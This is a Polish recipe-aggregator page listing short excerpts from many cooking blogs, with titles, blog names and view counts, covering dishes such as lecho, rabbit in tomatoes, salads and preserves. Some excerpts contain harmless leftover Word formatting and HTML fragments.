Dodajemy kukurydzę i wystudzony makaron. Wszystko razem dokładnie mieszamy. 4. Do osobnej miseczki wlewamy śmietanę, przeciskamy czosnek przez praskę, dodajmy majonez, sól, pieprz i szczyptę cukru. 5. Tak sporządzony sos wlewamy do sałatki. Odpowiednio przyprawiamy solą i pieprzem

Coś z niczego
Królik duszony w pomidorach 277

którzy je sobie najpierw wyhodowali, ale na szczęście w wielu sklepach pojawiają się już tusze królicze bardzo dobrej jakości. Najczęściej królika się dusi w winie lub śmietanie, ale w sosie pomidorowym czy grzybowym będzie równie dobry. Na króliku można też ugotować dobry wywar, taki chudy rosół. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Quinoa z kurkami w mleku kokosowym (bez glutenu, bez laktozy, bez cukru, wegańskie) 224

cebula się zeszkli dodajemy oczyszczone kurki i dusimy, aż grzyby zaczną się robić miękkie, doprawiamy solą i świeżo mielonym pieprzem. Dodajemy mleko kokosowe i dusimy jeszcze chwilę, aby zredukować sos. Gdy zacznie gęstnieć, podajemy go z gorącą quinoą i posypujemy listkami mięty

Quinoa Raz!
Wegański, bezglutenowy pasztet cukiniowo-jaglany 251

szklanka kaszy kukurydzianej ½ łyżki kurkumy 1 łyżeczka oregano 1 łyżka pieprzu Cayenne 1 łyżeczka majeranku 1 łyżka lubczyku 2-3 łyżeczki soli czosnkowej 1 łyżeczka słodkiej czerwonej papryki opcjonalnie: sos sojowy Drobno pokrój cebulę i czosnek. Podsmaż na oleju razem z liśćmi laurowymi i zielem angielskim. Wyrzuć liście i ziele. W dużej misce umieść: podsmażone warzywa i pozostałe składniki. Dokładnie

Qlinarnie i Qlinarnie
Lunch u Dyletantów 207

przepadam za bakłażanem, tak ten był przygotowany genialnie. Zjadłam z wielką przyjemnością, chociaż po cichu troszkę się bałam, ze będzie mdły i za bardzo bakłażanowaty ;) Dorsz, fasolka szparagowa, sos tatarski. Wspomnienie dzieciństwa, panierowany filet z dorsza... nic, a nic nie zepsuty... Faszerowany pomidor, kus kus, młode listki. Danie dla tych co lubią bez mięsa, ale i tym mięsnym nic się

królestwo garów
Polenta z suszonymi pomidorami 241

popularne jak pizza i spaghetti, ale równie pyszne. Można ją podać w formie mamałygi lub poczekać aż wystygnie i pokroić w plastry. Dobrze smakuje z różnego rodzaju sosami czy sałatkami. Ja przygotowałam sałatkę z rukoli, oliwek i pomidorów. Składniki: 2 litry wody 300 g kaszy kukurydzianej 50 g masła łyżeczka soli pieprz pęczek szczypiorku ok 80 g suszonych pomidorów Przygotowanie

e-PrzepisyKulinarne
Żeberka pieczone w pomidorach 104

MicrosoftInternetExplorer4 Żeberka dzielimy na paski, nacieramy solą i pieprzem. Pomidory sparzamy, obieramy ze skórki i kroimy w kostkę. Do pokrojonych pomidorów dodajemy miód, przeciśnięty przez praskę czosnek i zioła. Sos mieszamy z mięsem, przekładamy do naczynia żaroodpornego i zapiekamy 45 min w temp 180°C. st1\:*{behavior:url(#ieooui) } /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size

R'n'G Kitchen
Surówkowe trio 200

opłukać, obrać. Następnie zetrzeć na tarce jarzynowej o dużych oczkach., skropić sokiem z cytryny. Jogurt wymieszać z przeciśniętym ząbkiem czosnku przez praskę, solą, cukrem i pieprzem i polać tym sosem surówkę, dodać płatki migdałowe i wymieszać

Camilla w kuchni
Leczo z kabaczkiem 204

kabaczka. Całość przyprawić solą oraz pieprzem. Garnek przykryć pokrywką i gotować na średnim ogniu. Całość, co jakiś czas przemieszać. Leczo będzie gotowe, gdy kabaczek zmięknie i utworzy się warzywny sos. Na sam koniec dodać koncentrat pomidorowy. Posmakować i ewentualnie doprawić. Gotowe leczo przelać do słoików, zakręcić pokrywki i pozostawić do góry dnem (aż do wystudzenia). Na sam koniec schować

Ugotować
Gulasz węgierski 190

dodać paprykę w proszku. Zawartość patelni dołożyć do rondla z mięsem, podlać taką ilością wody, aby przykryła mięso. Dodać resztę przypraw i obraną, paprykę pokrojoną w grubą kostkę. Wyparowany sos uzupełnić wodą podawać z bagietką, kluskami, kaszą lub ziemniakmi. Z dodatkiem pieczarek świetny jako dodatek do placka po węgiersku

Gotuj zdrowo!Guten Appetit!
PLACUSZKI Z KASZY GRYCZANEJ 167

pomocy drugiej łyżki zsuwamy je na rozgrzany tłuszcz. Formujemy cienkie, okrągłe placki. Smażymy z obu stron na rumiano. Przekładamy na talerz. Podajemy z kwaśną śmietaną, jogurtem naturalnym lub  sosem pieczarkowym

cool and minty
Leczo z Cukinią na Zimę do Słoików 768

koniec duszenia sprawdzam smak i jeżeli trzeba to doprawiam solą i pieprzem – leczo jest gotowe do nakładania. Nakładanie lecza do słoików: Do wcześniej wyparzonych słoików nakładam leczo razem z sosem do pełna, pozostawiając około 1 centymetra wolnego miejsca od wieczka. Brzeg słoika dokładnie wycieram ręcznikiem papierowym lub ściereczką i zakręcam mocno wieczko (wcześniej wyparzone) – tak przygotowane słoiki będę pasteryzować. Pasteryzacja

Uwaga Babcia Gotuje
Placuszki z cukinii 158

naprawdę smaczna i prosta do przygotowania przekąska na słono. Placki są l ekko czosnkowe i delikatnie zielone :)  Idealne do smażenia. Takie placuszki możecie podać, np. ze śmietaną, sosem czosnkowym lub bez żadnego dodatku. Szczerze polecam! Składniki: 1 młoda cukinia (waga po odcięciu końcówek ok. 300 g) 8-10 płaskich łyżek mąki pszennej 2 łyżki posiekanego koperku 2 łyżki śmietany

Ugotować
Zapiekanka po wiejsku 206

ciągle mieszając, zagotowujemy. Doprawiamy do smaku solą, pieprzem oraz gałka muszkatołową. Na dno naczynia do zapiekania wykładamy plastry podsmażonego schabu, układamy plastry ziemniaków, oprószamy sola, wykładamy podsmażone pieczarki, zalewamy sosem beszamelowym. Ser żółty ścieramy na tarce o grubych oczkach, posypujemy wierzch. Zapiekankę wstawiamy do piekarnika, zapiekamy przez 45 minut w temperaturze 180 stopni. Przed podaniem posypujemy posiekanym szczypiorkiem

Bajeczna Kuchnia
Makaron pióra (penne) z baklażanem i rodzynkami 207

Pewnego pięknego dnia mój kolega z pracy przyniósł mi na spróbowanie makaron z sosem.  Nie raz jadłam połączenie bakłażana i pomidorów ale tutaj znalazły się jeszcze rodzynki i chili. Zakochałam się w tych smakach!!! wczoraj postanowiłam przygotować to danie sama.  Przepis pochodzi z Jadłonomii ale zrobiłam go po swojemu. Makaron pióra (penne) z bakłażanem i rodzynkami 2 nieduże

Dzieje kuchennej Wiewióry
SZASZŁYKI Z KURCZAKIEM 194

solą, pieprzem, papryką i bazylią.  Pieczemy w nagrzanym piekarniku ok. 25 min w 180 stopniach. Szaszłyki można również przygotować na grillu. Podajemy z ryżem lub bagietką oraz ulubionym sosem, ja podałam z pysznym czatni - ostry zielony pomidor od LUKS POMADA, który doskonale komponuje się z pieczonymi warzywami i kurczakiem

słodki bratek
Marynowany ser Manchego 224

hiszpańskiej zupy pomidorowej - tradycyjny hiszpański przysmak bożonarodzeniowy czyli turron (3 nugatowe tabliczki każda o innym smaku m.in. z dodatkiem migdałów i sezamu). waga 200g, cena 12,99 pln - sos Piri-Piri (195ml, cena 2,99pln) -  u nas w domu niezastąpiony dodatek do wszelkiego typu mięs i marynat - migdały Marcona (waga 175 g, cena 13,99 pln) Oprócz hiszpańskich

Kulinaria - potrawy z różnych stron świata
Szynka pieczona w soku jabłkowym, super 261

folię z szynki, posmarować szynkę marynatą z jogurtu. Położyć szynkę na raszki, na dno blaszki wlać wodę. Wstawić ponownie do piekarnika na kolejną godzinkę. Gotowe ostudzić i serwować z sosem tatarskim lub innym. Idealna też będzie jako wędlina na kanapki. Smacznego

Kuchnia Pokoleń
Sałatka z kaszą gryczaną i warzywami (na fit lunch -170 kcal) 281

podzielimy na 4 porcje, to jedna będzie miała tylko 170 kcal. Składniki: 100 g kaszy gryczanej mała cebula czerwona mała cukinia pęczek rzodkiewki 2 ogórki kiszone sól i pieprz Sos : 2 łyżki oliwy z oliwek łyżka octu balsamicznego ząbek czosnku Przygotowanie Kaszę gotujemy w osolonej wodzie na sypko. Przelewamy zimną wodą i odstawiamy do ostudzenia. Cebulę, rzodkiewki i ogórki kroimy

e-PrzepisyKulinarne
Souvlaki – greckie szaszłyki z kurczaka 335

elektrycznym lub klasycznym dosyć krótko – bo po minucie z każdej strony – do czasu aż płyn wyciekający z mięsa będzie przeźroczysty. Podajemy z pszennym chlebkiem – pita, tortilla, koniecznie z dodatkiem sosu tzatziki i ze świeżą sałatką z chrupiących, mieszanych sezonowych warzyw. Pyszny sposób na kurczaka – lekki i dietetyczny, ale pełen smaku i aromatu. SKŁADNIKI 500g mięsa z kurczaka – piersi lub wytrybowane

Karo in the Kitchen
Penne z pstrągiem łososiowym w sosie jogurtowo-koperkowym (Penne con trota salmonata allo yogurt) 195

cytryny, mieszamy. Doprawiamy solą i pieprzem. Z upieczonego łososia zdejmujemy skórę, po czym kroimy w kostkę. Rybę i makaron mieszamy z sosem jogurtowym. Dekorujemy koperkiem i oprószamy grubo mielonym czarnym pieprzem. **** PREPARAZIONE Ungete una pirofila con dell'olio e mettete in filetto di trota con la pelle rivolta verso il basso

La grande e la piccola cuoca
Grillowana hawajska kanapka z rwanym indykiem 182

łopatka. Dlatego postanowiłam upiec w ten sam sposób indyka i to mięso wykorzystać do przygotowania amerykańskiej kanapki w stylu hawajskim. Rwany, długo pieczony indyk, grillowany ananas, jarmuż i majonezowy sos... Pycha. Czytaj więcej

Bernika - moj kulinarny pamietnik
Przecier z czarnych jagód 179

poziomki, morele, jabłka... Ja dzisiaj zrobiłam przecier z jagód. U mnie w domu jest on najchętniej wykorzystany jako dodatek do ryżu, makaronu, racuchów a także do przyrządzania zup i sosów na słodko. We wszystkich przypadkach dodaje się go na surowo do ugotowanej już potrawy.           Składniki: 1,5 kg czarnych jagód 150 g cukru

Kuchnia u Krysi
Ogórki konserwowe 167

spróbujcie zrobić z mojego przepisu i życzę SMACZNEGO! Krys Polecam również ogórki: Ogórki w zalewie musztardowej Ogórki kiszone, pasteryzowane Ogórki koreczki z papryką i cebulką Sałatka z ogórków w sosie Dziękuję za odwiedziny na moim blogu.   Będzie mi miło, jeśli zostawisz komentarz

Kuchnia u Krysi
Najłatwiejszy domowy przecier pomidorowy 146

Mój sprawdzony   i najłatwiejszy przepis na przecier   pomidorowy,   który wykorzystuję do zupy i sosów. Mam go zawsze pod ręką. Spróbujcie zrobić. Najlepiej nadają się pomidory „lima”, które są mięsiste i mają mało pestek                Składniki: 5 kg pomidorów „lima” 1 łyżka soli szczypta pieprzu

Kuchnia u Krysi
Placki ziemniaczane na drożdżach 136

wyrośnięcia.   Na patelni rozgrzałam olej i na gorący wykładałam placuszki. Smażyłam na złoty kolor z obu stron. Wyłożyłam na półmisek.     Do tych pysznych placuszków podałam sos pieczarkowy   Te placki smakują również ze śmietaną. Właściwie każdy ma swój ulubiony pomysł na dodatki do placków ziemniaczanych. Już więcej nie zachwalam, bo zdjęcia placków wszystko mówią. Wobec tego życzę

Kuchnia u Krysi
Filet z indyka duszony z bakaliami 228

jeszcze do smaku. Ja już nic nie dodawałam. Cała potrawa miała doskonały smak. Mięso odwinęłam ze sznurka i pokroiłam na porcje. Obok mięsa   rozłożyłam bakalie i całość polałam sosem.     Pysznie smakowało i ładnie wyglądało. To jest zdanie naszych przyjaciół, których poczęstowaliśmy tym smacznym obiadem.   Do tego dania najbardziej pasuje   ryż ugotowany na sypko. Wyborne danie

Kuchnia u Krysi
Szynka wieprzowa (kulka) peklowana, pieczona w piekarniku 234

naczynia żaroodpornego, na wierzchu obłożyłam wiórkami masła i smalcu. Przykryłam naczynie i wstawiłam do nagrzanego piekarnika na 1,5 godziny. Po około   20 minutach   polałam szynkę wytworzonym sosem. Po upieczeniu zostawiłam szynkę w piekarniku przy uchylonych drzwiczkach jeszcze na około 1 godzinę.   Szynkę zawinęłam w srebrną folię. Przełożyłam do lodówki do następnego dnia. Z wystudzonej szynki zdjęłam

Kuchnia u Krysi
Mój sposób na domowy tarty chrzan (bez łez) 258

Prawda?     Teraz już tylko trzeba przełożyć do wyparzonych słoiczków, zamknąć i wstawić do lodówki.       To jest baza chrzanowa, z której można zrobić różne wspaniałe sosy dodając do niej ulubione składniki. Albo zrobić chrzan   z jabłkiem ścierając na drobnych oczkach jabłko, dodać śmietanę i ewentualnie przyprawić do smaku...   Polecam taki domowy chrzan, życzę wytrwałości

Kuchnia u Krysi
Polędwiczki indycze z masłem koperkowym, podane z kurkami 191

patelni rozgrzałam pozostałe masło klarowane. Wrzuciłam kurki i zrumieniłam je na średnim gazie. Smażyłam je jeszcze około 10 minut. Wlałam śmietanę, wymieszałam, doprawiłam solą i pieprzem. Po chwili sos zaczął gęstnieć. Zdjęłam z gazu. Piekarnik włączyłam na 180 °C.   Polędwiczki nacięłam ukośnie na całek powierzchni z góry. W każdą szczelinę włożyłam po kawałku zimnego masła koperkowego. Polędwiczki przełożyłam

Kuchnia u Krysi
Klopsy z białej kiełbasy w pomidorowym sosie 177

kolorowe danie. Kombinacja mięsa, pomidorów, makaronu i świeżego groszku wywołuje w ustach eksplozję smaku. Smak jest w życiu … Przeczytaj cały artykuł Post Klopsy z białej kiełbasy w pomidorowym sosie pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Pomidory faszerowane ryżem po grecku. 314

smaku. Pomidory umieścić w naczyniu żaroodpornym i napełnić farszem. Przykryć górnymi częściami.  Do odlanego wcześniej soku z pomidorów dodać oliwę, oregano i szczyptę soli. Zmiksować i zalać sosem pomidory w naczyniu żaroodpornym.  Naczynie przykryć (wieczkiem lub folią) i wstawić do piekarnika rozgrzanego do 200 stopni na 1 godzinę. 20 minut przed końcem pieczenia odkryć naczynie. Podawać z pokruszoną

zadanie-gotowanie
Sernik na kakaowym cieście 215

zrobię. Bardzo smakował mojej rodzinie. Pyszne ciasto kakaowe w połączeniu z delikatnym serem daje niesamowity efekt smakowy, który bardzo przypadł mi do gustu. W połączeniu z sosem owocowym domowej roboty smakuje jeszcze lepiej. Przepis z moimi małymi modyfikacjami. Ciasto: 1 szkl mąki 1 łyżeczka proszku do pieczenia 3 żółtka 3 łyżki kakao 200g masła 100g cukru Masa serowa: 2 serki

Motylkowa Kuchnia
Bezglutenowe wege spaghetti gotowe w 20 minut :) 158

zmniejsz ogień i duś pod przykryciem ok. 6 minut.  Kolejno na pełnej mocy gazu dodaj pozostałe składniki. Mieszaj dość często, abo zapobiec przypaleniu.  Po niecałych 10 minutach sos powinien się zagęścić i być gotowy.  Wymieszaj go z makaronem lub polej po jego wierzchu

Zdrowie na języku :P
Trottole w sosie 273

ciekawy kształt makaronu Składniki 1/2 kg fileta z indyka lub kurczaka 1 bakłażan 100 g świeżego szpinaku 1 kg pomidorów 1 szklanka białego wytrawnego … Czytaj dalej Trottole w sosie

czarrna od kuchni
Smaczny i zdrowy… kurczak Zagrodowy! 214

wstawiamy do lodówki na noc. Następnego dnia, po wyjęciu z marynaty, układamy na grillu i pieczemy, aż będzie rumiane. Można podawać z sałatą polaną jogurtem naturalnym lub ulubionym sosem

Tradycyjna Kuchnia
soczysta pieczona szynka 249

podczas pieczenia. Umożliwia on pieczeni, wchłonięcie z powrotem soków, które z niej wypłynęły w trakcie pieczenia. Teraz możemy wyjąć pieczeń z piekarnika i podać ją na gorąco, podlewając porcje sosem z pieczenia, lub wystudzić i konsumować na zimno

Miód i pieprz
Omlet grzybek z antonowkami w karmelu czyli Niedzielne Sniadanie odc.88 268

zrumienić. Możemy lekko poruszać patelnią ale nie mieszamy. Dodajemy łyżkę masła i łączymy poruszając patelnią. Wkładamy jabłka i smażymy najpierw z jednej potem z drugiej strony. Jabłkami i powstałym sosem dekorujemy omlety

Dzieje kuchennej Wiewióry
Cotygodniowy przegląd promocji w gazetkach 194

Termometr do przetworów- przydatny gadżet --> Netto do 7 sierpnia 6. Przecierak do pomidorów- kolejny ciekawy i przydatny gadżet. Nie tylko przy robieniu przetworów, ale również do przygotowywania różnych sosów itp. --> Netto do 7 sierpnia 7. Sokownik (również na indukcje)  -->  Netto  do 7 sierpnia 8. Mikser do smoothie- super gadżet, dosyć drogi więc chyba głównie

Tradycyjna Kuchnia
Ocet z bazylią i czosnkiem 123

kupować go już przyprawionego. Sami w prosty i szybki sposób możemy przygotować pyszne, aromatyczne octy wedle własnych upodobań, a następnie używać je do podkreślenia smaku wielu potraw (tj. sałatki, sosy, marynaty itp) Składniki: 1 pęczek świeżej bazylii 6 ząbków czosnku 750 ml octu (najlepiej spirytusowy, ale może być również winny) Wykonanie: Pęczek bazylii opłukać i otrząsnąć z wody. Włożyć

Tradycyjna Kuchnia
Gołąbki z pasztetem paprykowym 185

wyłożonego kapustą i zalewamy szklanką rosołu i dusimy aż kapusta będzie w pełni miękka. Gołąbki z pasztetem, to przykład dania z cyklu coś z niczego :) Gołąbki można podawać z sosem pomidorowym bądź po prostu polać ketchupem jeżeli ktoś lubi :) Przepis bierze udział w konkursie

W Moim Magicznym Domu
Sałatka indyjska 4092

Sałatka ta podbiła moje serce, od niedawna jest moją ulubioną. Mięsko, makaron i słodycz ananasa to coś niesamowitego. Mimo tego, że nie lubię sosu sojowego, do tej sałatki jest idealny nadaje jej unikatowego smaku. Sałatkę bardzo szybko się robi, niestety jeszcze szybciej znika ze stołu. Czytaj więcej

Pychotkaaa
Mizeria 182

najprostsza sałatka z ogórków ogórki, sól, śmietana, Ogórki umyć, obrać, pokroić w cienkie plasterki. Włożyć do miski, oprószyć solą, wymieszać. Odstawić na pół godziny. Ogórki odcisnąć z wytworzonego sosu. Przełożyć do salaterki, dodać śmietanę i wymieszać. To jest wersja podstawowa. Bardzo dobrym dodatkiem do mizerii jest koperek, bo jak wiadomo koperek i ogórki bardzo się lubią. Ja przeważnie podaję

królestwo garów
Sałatka ziemniaczana 186

dokładnie wymieszać dymkę pokrojoną w plasterki, drobniutko pokrojoną czerwoną cebulę,  ogórki konserwowe pokrojone w kostkę, koperek, musztardę i śmietanę, doprawić do smaku solą i pieprzem. Ziemniaki połączyć z sosem śmietanowym, delikatnie wymieszać. Przełożyć na talerz, udekorować jajkami pokrojonymi w ćwiartki i koperkiem i podawać. Smacznego

Codzienne Gotowanie
Zapiekanka gyros 8838

height: 1em;" /> Dzisiejsza zapiekanka jest inspirowana właśnie tą sałatką. W jej skład wchodzi makaron, kurczak w przyprawie gyros, ogórki kiszone, papryka i kukurydza. Całość zalana jest sosem majonezowo – ketchupowo – śmietanowym. Zapiekanka co prawda jest trochę kaloryczna, ale za to jaka smaczna " class="wp-smiley" style="height: 1em; max-height: 1em;" />" class="wp-smiley

Marta Gotuje
pierś kaczki z żurawinowym sosem 243

smażąc całość przez 4-5 minut. Pierś kaczki wyjmujemy z naczynia i  kroimy ją w centymetrowej grubości plastry. Plastry układamy na talerzach, polewamy sosem i podajemy z ulubionymi dodatkami

Miód i pieprz
Kumpir, 5 najlepszych ciast z warzywami 226

różne wersje), np. z  Long Phung  (wegańskie) lub o połowę tańszego falafla z  Dara Kebab .  Poniżej znajdziecie rzeszowskie menu kumpirowe. Do każdego ziemniaka dodawany jest sos (do wyboru: 1000 wysp - nie polecam, octowy; czosnkowy i ostry - bardzo ostry). A Wam smakował kumpir? Moja subiektywna lista najlepszych ciast z warzywami/My subjective list of best vegetable cakes

Qlinarnie i Qlinarnie
Pasta mediterranea . Makaron śródziemnomorski. 204

czosnkiem dodaj cukinię. Duś. Następnie wlej całą puszkę pomidorków czereśniowych i duś pod przykryciem.  Dosmacz solą i pieprzem wedle uznania. Kiedy smaki sobą przejdą, wsyp makaron do sosu i wymieszaj. Przed podaniem wkrój rzodkiewkę i natkę pietruszki, dosmacz olejem lnianym tłoczonym na zimno.  Smak oleju lnianego w kuchni śródziemnomorskim to strzał w dziesiątkę. Podawaj ze sporą ilością sera

Z Kuchni Do Kuchni
Kiełbasa chorizo z patelni 135

pestki zostawić). Następnie drobno je pokroiłem. Czerwoną paprykę po usunięciu miąższu pokroiłem w paski. Wszystkie składniki podsmażyłem na oliwie z oliwek. Podlałem odrobiną wody ( tak aby zrobiło się troszkę sosu) i dusiłem około 10 minut. Podałem bardzo gorące

R'n'G Kitchen
Dżem truskawkowy z zielonym pieprzem 107

truskawki są w takiej cenie, że można przygotować kilka słoiczków na skosztowanie. Smak jest wybitny...dżem nie tylko nada się do samodzielnego szamania. Można też na jego bazie przyrządzić sos do mięsa. Zielony pieprz jak zwykle zaskakuje. Składniki 1,5 kg truskawek 250 g cukru 50 g marynowanego zielonego pieprzu   Przygotowanie   Normal 0 21 false false false MicrosoftInternetExplorer4

R'n'G Kitchen
Restauracja Abażur | Warszawa 211

wrażenie samym wyglądem. Jadalne kwiaty, owoce, sałaty, komponowały się idealnie z ciepłym kozim serem serwowanym na grzance. Wszystko to, polane musem mango stworzyło smaczną, spójną całość. Polędwica wołowa w sosie truskawkowym z warzywami i ziemniakami – 65zł W tym daniu szczególną uwagę zwróciłam na truskawki połączone z balsamico oraz świeże, smaczne warzywa. Wszystkie te składniki były doskonałe. Mięso jednak między

Kuchnia Bazylii
Sałatka z kaszą orkiszową 183

Rzodkiewki kroimy w plasterki,  fetę w kostkę, wrzucamy do miski. Dodajemy kaszę, obrany bób. W szklance mieszamy oliwę, sok z cytryny, przyprawy i listki majeranku. Gotowym sosem polewamy sałatkę, mieszamy

Kulinarne przygody Gatity
Nadziewane pomidory na dwa sposoby 157

duże plastry szynki białej gotowanej -2 małe korniszony -2 plastry żółtego sera -szczypiorek -łyżeczka majonezu Odcinamy wierzch pomidorów, wydrążamy środek, który można przechować w lodówce i użyć np. do sosu lub zupy pomidorowej. Wszystkie składniki kroimy w drobną kostkę i mieszamy z majonezem. Napełniamy pomidory. Sposób drugi Składniki: -2 pomidory -mała puszka tuńczyka -1 cebula sałatkowa -1 łyżka groszku konserwowego

Kulinarne przemyslenia
Jedzonko do pracy #50 205

ponieważ trwa festiwal kuchnia skandynawskiej, to i w moim zestawie znalazły się potrawy z tej części świata.  Śniadanie : Mus ze szparagów z krewetkami Lunch : Ryż ze słodko - kwaśnym sosem koperkowym   Przekąska : Szparagi, krewetki Smacznego

Codzienne Gotowanie
Makaron z pesto bazyliowym 187

pesto to najprostsze danie na świecie. Dla leniwych oczywiście można kupić gotowe pesto. Jednak nic nie zastąpi doskonałego pesto przygotowanego samemu w domu. Czym jest pesto? Jest to zielony sos, którego głównym składnikiem jest bazylia. Jest ono szybkie i łatwe do przygotowania. Składniki: 200 g makaronu spaghetti 25 g liści bazylii 1/3 ząbek czosnku 25 g orzeszków pinii

FoodMagazine.pl - Przepisy kulinarne
Rolada szpinakowa (Rotolo di spinaci) 214

parmezanem,  aromatyzowana oregano, to nasz ulubiony przysmak w letnie, gorące dni. Rolad ę  serwuj ę  z sa ł at ą  ze świeżych warzyw z sosem ziołowym i  grillowanym pieczywem. Smacznego :)   **** Rotolo di spinaci, farcito con ricotta, peperone rosso e giallo, olive nere, profumato all'origano e parmigiano e' un piatto molto gustoso

La grande e la piccola cuoca
Surówka z kapusty z sosem jogurtowo miętowym 224

Sól – szczypta Mięta świeża posiekana – 2 łyżki Liście kapusty oczyścić, opłukać, osączyć z wody. Jogurt wymieszać z posiekanymi listkami mięty. Liście kapusty pokroić cienko, posypać solą, cukrem i polać sosem jogurtowo miętowym, od razy wymieszać, lekko schłodzić

Camilla w kuchni
śledzie z zieloną papryką i prażonym nasionami 159

ziarna. Filety śledziowe wyjmujemy z octowej marynaty i płuczemy. Opłukane śledziowe filety, kroimy w trzy centymetrowe kawałki i wkładamy  do misy ( lub  słoja) do której dodajemy przestudzony sos z papryki i ziaren. Całość mieszamy  odstawiamy  na dzień w chłodne miejsce, aby smaki mogły się połączyć i gotowe

Miód i pieprz
Skrzydełka z kurczaka – bez tłuszczu, pieczone, totalnie chrupiące 440

minut, aż skórka stanie się chrupka, cienka i zbrązowiona (kurczak może wymagać jeszcze więcej czasu – koniecznie sprawdźcie w jakim stanie jest skórka). Teraz wystarczy tylko naszykować surówkę, ulubiony sos, ryż albo inne dodatki i zasiąść do stołu. Akompaniament chrupania przy jedzeniu nie opuści Was aż do ostatniej kostki! ;) Nie musicie wierzyć mi na słowo – sami spróbujcie. Kurczak upieczony

Karo in the Kitchen
Potrawka z kurczaka 187

zagotować. Po zagotowaniu zebrać ,,szumowiny'', dodać startą marchewkę, groszek oraz pietruszkę i selera w całości. Gotować około 30 minut, a następnie dodać koperek i doprawić vegetą i pieprzem. Sos zagęścić mąką rozmieszaną ze śmietaną i wodą (taka ilość żeby mąka dała się dobrze rozprowadzić). Potrawkę można podawać z ryżem, kaszą, ziemniakami lub makaronem. Smacznego

kuchnia doski
Schab zapiekany ze szpinakiem 338

się zapiekła.  Tak jak już wspomniałam mięso podałam z brokułami na parze i ryżem.   Przepisy ze schabem na moim blogu : Schab pieczony z nadzieniem Schab z sosem orzechowym Schab z pończochy – domowa wędlina Schab pieczony z powidłami śliwkowymi Schab pieczony z czosnkiem w dużej ilości Schab zapiekany ze szpinakiem

Kuchnia na wzgórzu
Naleśniki kukurydziane z warzywami :) 245

wlej porcję ciasta. Smaż naleśniki z dwóch stron.  Quinoę ugotuj wg instrukcji na opakowaniu.  Ugotowaną zawiń z pokrojonymi warzywami i sałatą w naleśnik. Możesz dodać również ulubiony sos, przyprawy

Zdrowie na języku :P
Warsztaty kulinarne ZaRyżykujmy z Uncle Ben's 201

tylko, przygotowaliśmy cztery pyszne dania: lekką sałatkę dzikim ryżem, szpinakiem i kozim serem pieczonego jesiotra podanego na dzikim ryżu z grejpfrutem i pistacjami  steaki z jaśminowym ryżem i sosem z kurek zapiekankę z kurczaka i warzyw z ryżem długoziarnistym Na deser natomiast dostaliśmy pyszną panna cottę z ryżu z cynamonem, przygotowaną specjalnie dla nas przez prawą rękę

Kulinarne przygody Gatity
Kaczka z sosem malinowym i flambirowaną pomarańczą 178

piekarnika i piec przez 13 minut. 3. Maliny myjemy i przekładamy do rondelka, wlewamy wytrawne wino, dodajemy miód i sok z cytryny. Gotujemy na małym ogniu do momentu aż sos będzie odpowiednio gęsty. 4 . Na średnim ogniu topimy masło i cukier, dodajemy sok z cytryny i pomarańczy oraz wrzucamy owoce. Wlewamy alkohol i podpalamy

Coś z niczego
Lody ze smażonych śliwek! 174

Lody przed podaniem, wyciągamy z zamrażarki i dajemy im 10 do 15 minut aby torszkę się rozmroziły, łatwiej będzie Wam wtedy formować kulki. Lody możecie podać same bądź polać sosem, będzie pasował np. piernikowy, waniliowy bądź karmelowy. Mam nadzieję, że przepis przypadł Wam do gustu! Koniecznie dajcie znać!!! Pięknego dnia

SMYKWKUCHNI
Puree ziemniaczane w panierce 419

jajku z dodatkiem soli i pieprzu, ponownie w bułce tartej. Smażymy na oleju, z każdej strony na rumiano. Podajemy jako dodatek do dań głównych. Świetnie smakują też z dodatkiem sosu czosnkowego. st1\:*{behavior:url(#ieooui) } /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent

R'n'G Kitchen
Sałatka z wędzonym łososiem i fetą. 259

cebulę pokrojoną w pióra. Łososia kroimy na małe kawałki i dodajemy do reszty warzyw. Wszystko posypujemy pokruszoną fetą. Oliwę mieszamy z sokiem  z cytryny i polewamy powstałym sosem całą sałatkę. Posypujemy świeżo zmielonym pieprzem, Można podawać ją z grzankami. Smacznego

Miksturownik
Kalafior zapiekany w sosie musztardowym 366

musztardą, solą i pieprzem.  Polać kalafiora, a następnie posypać wymieszanymi serami. Piec w piekarniku nagrzanym do 180 stopni C do momentu aż zapiekanka się zarumieni. kalafior zapiekany w sosie musztardowym

O kuchni z uczuciem
Pulpeciki z indyczego udźca 160

uznania słodką lub pikantną). Uformować pulpety dowolnej wielkości. (Ja robię malutkie z połowy łyżeczki do herbaty). Pulpeciki ugotować w niewielkiej ilości wody. Na bazie tej wody można później przygotować sos (np. pomidorowy). Na zdjęciu pulpeciki indycze podane z curry szpinakowym z poniższego przepisu Skomentuj

MamaOskarka
Maminkowe zapiekanki z kapustą i pęczakiem 288

kapuścianej, robimy wgłębienia, wypełniamy pęczakiem ze skwarkami, przykrywamy masą ziemniaczano-kapuścianą i wstawiamy do piekarnika nagrzanego do temperatury 160 st. C na ok. 40 minut. Dobrze smakują z ostrym sosem pomidorowym. Smacznego

Maminek kulinarny
Rolada flaga Wielkiej Brytanii z miętowym kremem 179

biszkoptową. Nie wiedziałam tylko z jakim nadzieniem i wtedy przypomniałam sobie scenę z filmu o Asterixie i Obeliksie, gdy ci ruszają do Brytanii i zostają tam ugoszczeni jagnięciną w sosie miętowym. Pomyślałam, mięta, dlaczego nie? I tak moja ukończona flaga pachniała miętą w kremie ze śmietany i serka Apetiny, a jagody delikatnie wzbogaciły ją o owocowy, kwaskowaty smak. Zapraszam. Czytaj

Bernika - moj kulinarny pamietnik
Pikantny ryż z papryczkami chilli / Spicy rice with chilli 294

rozgrzeją dodaj kardamon, chilli, goździki, przecier pomidorowy i po dużej szczypcie soli i pieprzu. Smaż mieszając 2 minuty. Wsyp ugotowany ryż i dokładnie wymieszaj, tak by ryż pokrył się sosem. Zdejmij patelnię z ognia, wmieszaj sok z cytryny i podawaj. Smacznego! English version Spicy rice with chilli (4 servings) Ingredients: 200 g rice 1/2 tsp ground cardamom 2 chilli peppers

karmelowy
Zielona fasolka z pomidorkami 206

rondelku rozgrzewamy oliwę, dodajemy czosnek  i wrzucamy pomidorki. Kilka chwil smażymy. Wlewamy ocet i kilka minut jeszcze pozostawiamy na ogniu. Fasolkę odcedzamy. Układamy na półmisku i polewamy sosem z pomidorków, na wierzch układamy pomidorki. U mnie też kilka plastrów chudego włoskiego salami

AZgotuj!
Placki ziemniaczane 365

